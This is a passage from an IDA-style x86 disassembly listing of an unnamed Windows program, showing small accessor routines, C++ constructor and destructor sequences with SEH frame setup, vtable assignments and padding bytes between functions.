mov eax, [esp+arg_0]
push eax
call sub_401D1B
neg al
sbb eax, eax
inc eax
retn 4
sub_415330 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415360 proc near ; CODE XREF: sub_401B31j
mov eax, [ecx]
retn
sub_415360 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415380 proc near ; CODE XREF: sub_401140j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_415380 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153A0 proc near ; CODE XREF: sub_401537j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_4153A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153D0 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_4153D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153F0 proc near ; CODE XREF: sub_401573j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401ED8
add esp, 8
retn 8
sub_4153F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401C26j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415440 proc near ; CODE XREF: sub_40130Cj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_415440 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415460 proc near ; CODE XREF: sub_401E24j
mov eax, [ecx]
retn
sub_415460 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415480 proc near ; CODE XREF: sub_401717j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_415480 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154A0 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_4154A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154D0 proc near ; CODE XREF: sub_40179Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_4154D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154F0 proc near ; CODE XREF: sub_401CCBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401F50
add esp, 8
retn 8
sub_4154F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415520 proc near ; CODE XREF: sub_4013A2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_415520 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415540 proc near ; CODE XREF: sub_401591j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_415540 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415560 proc near ; CODE XREF: sub_401294j
mov eax, [ecx]
retn
sub_415560 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415580 proc near ; CODE XREF: sub_401D1Bj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415580 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155B0 proc near ; CODE XREF: sub_401230j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_4155CB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4155CB: ; CODE XREF: sub_4155B0+11j
retn
sub_4155B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_401ED8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_41561B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41561B: ; CODE XREF: sub_415600+11j
retn
sub_415600 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415650 proc near ; CODE XREF: sub_401F50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011A4
add esp, 8
test eax, eax
jz short locret_41566B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41566B: ; CODE XREF: sub_415650+11j
retn
sub_415650 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 0ED7E52BCh
dd 0C647E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 7EBF2968h, 0AD26E800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
dd 0E9FAFCB9h, 0C41DE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_415720: ; CODE XREF: _294ADE7B:00401B27j
push 0FFFFFFFFh
push 7CFD7Eh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+592FBh]
mov dword ptr [esp+10h], 13h
call sub_402045
lea ecx, [esi+592E4h]
mov byte ptr [esp+10h], 12h
call sub_4011F9
lea ecx, [esi+592CFh]
mov byte ptr [esp+10h], 11h
call sub_4011F9
lea ecx, [esi+592BAh]
mov byte ptr [esp+10h], 10h
call sub_4011F9
lea ecx, [esi+592A5h]
mov byte ptr [esp+10h], 0Fh
loc_41578B: ; DATA XREF: sub_411820+2o
call sub_4011F9
lea ecx, [esi+591BAh]
mov byte ptr [esp+10h], 0Eh
call sub_401DA7
lea ecx, [esi+591A9h]
mov byte ptr [esp+10h], 0Dh
call sub_4016C2
lea ecx, [esi+5916Fh]
mov byte ptr [esp+10h], 0Ch
call sub_4017BC
lea ecx, [esi+590E1h]
mov byte ptr [esp+10h], 0Bh
call sub_4010FA
lea ecx, [esi+590AFh]
mov byte ptr [esp+10h], 0Ah
call sub_401DE3
lea ecx, [esi+48A9Eh]
mov byte ptr [esp+10h], 9
call sub_40207C
lea ecx, [esi+48A75h]
mov byte ptr [esp+10h], 8
call sub_40193D
lea ecx, [esi+4878Bh]
mov byte ptr [esp+10h], 7
call sub_401366
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401208
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401D4D
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_40148D
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401A05
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401B72
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401852
mov byte ptr [esp+10h], 0
lea ecx, [esi+3Eh]
call sub_4013E8
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401235
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_415900: ; CODE XREF: _294ADE7B:00401D11j
push 0FFFFFFFFh
push 7E7EBFh
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_401F28
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_401569
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_401267
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_401E97
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_401915
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_40150F
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_4015C3
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_4016D1
lea ecx, [esi+4878Bh]
mov byte ptr [esp+14h], 7
call sub_401609
lea ecx, [esi+48A75h]
mov byte ptr [esp+14h], 8
call sub_401767
lea ecx, [esi+48A9Eh]
mov byte ptr [esp+14h], 9
call sub_4013C0
lea ecx, [esi+48BBBh]
mov byte ptr [esp+14h], 0Ah
call sub_401BEF
lea ecx, [esi+590AFh]
call sub_401253
lea ecx, [esi+590E1h]
mov byte ptr [esp+14h], 0Bh
call sub_401B81
lea ecx, [esi+5916Fh]
mov byte ptr [esp+14h], 0Ch
call sub_401F82
lea ecx, [esi+591A9h]
mov byte ptr [esp+14h], 0Dh
call sub_401064
lea ecx, [esi+591BAh]
mov byte ptr [esp+14h], 0Eh
call sub_40106E
lea ecx, [esi+592A5h]
mov byte ptr [esp+14h], 0Fh
call sub_4013CF
lea ecx, [esi+592BAh]
mov byte ptr [esp+14h], 10h
call sub_4013CF
lea ecx, [esi+592CFh]
mov byte ptr [esp+14h], 11h
call sub_4013CF
mov byte ptr [esp+14h], 12h
lea ecx, [esi+592E4h]
call sub_4013CF
lea eax, [esp+7]
lea ecx, [esi+592FBh]
push eax
mov byte ptr [esp+18h], 13h
call sub_401A19
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415B00 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 7F3F5Fh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401A1E
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_415B00 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415B70 proc near ; CODE XREF: sub_401852j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 3F9FAFh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_401EFB
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_401EFB
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_401EFB
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_401EFB
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_401EFB
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_4019F1
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_4019F1
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_4019F1
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_4019F1
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_4019F1
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_4019F1
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_4019F1
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_4019F1
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_4019F1
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_4019F1
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_4019F1
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_4019F1
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_4019F1
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_4019F1
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_4019F1
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_4019F1
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_4019F1
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_4019F1
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_4019F1
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_4019F1
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_4019F1
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_4019F1
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_4019F1
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_4019F1
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_4019F1
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_4019F1
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_4019F1
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_4019F1
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_4019F1
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_4019F1
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_4019F1
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_4019F1
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_4019F1
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_4019F1
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_4019F1
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_4019F1
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_4019F1
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_4019F1
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_4019F1
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4019F1
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_415B70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416090 proc near ; CODE XREF: sub_40148Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 5FCFD7h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416090 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416130 proc near ; CODE XREF: sub_401D4Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 6FE7EBh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416130 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416200 proc near ; CODE XREF: sub_401208j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 37F3F5h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+468EEh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+468C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+46892h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+46864h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+46836h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+46808h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416200 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4162D0 proc near ; CODE XREF: sub_40207Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 5BF9FAh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4162D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416390 proc near ; CODE XREF: sub_401DE3j
add ecx, 4
jmp sub_401023
sub_416390 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163B0 proc near ; CODE XREF: sub_4010FAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4163B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4163B0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416430 proc near ; CODE XREF: sub_401DA7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 6DFCFDh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416430 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164D0 proc near ; CODE XREF: sub_40150Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 76FE7Eh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4013CF
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_4016A9
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437050
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4164D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_4015C3j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 7B7F3Fh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_4016A9
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_4016A9
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_4016A9
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437054
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416640 proc near ; CODE XREF: sub_4016D1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 7DBF9Fh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+46808h]
call sub_4016A9
lea ecx, [esi+46836h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+46864h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
lea ecx, [esi+46892h]
mov byte ptr [esp+14h+var_4], 2
call sub_4016A9
lea ecx, [esi+468C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_4016A9
lea ecx, [esi+468EEh]
mov byte ptr [esp+14h+var_4], 4
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437058
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416640 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416710 proc near ; CODE XREF: sub_401767j
push esi
mov esi, ecx
call sub_401D2F
mov dword ptr [esi], offset off_43705C
mov eax, esi
pop esi
retn
sub_416710 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416740 proc near ; CODE XREF: sub_4013C0j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 7EDFCFh
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_4016A9
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_4016A9
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437068
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416740 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416800 proc near ; CODE XREF: sub_401BEFj
push esi
mov esi, ecx
call sub_401190
mov dword ptr [esi], offset off_43706C
mov eax, esi
pop esi
retn
sub_416800 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
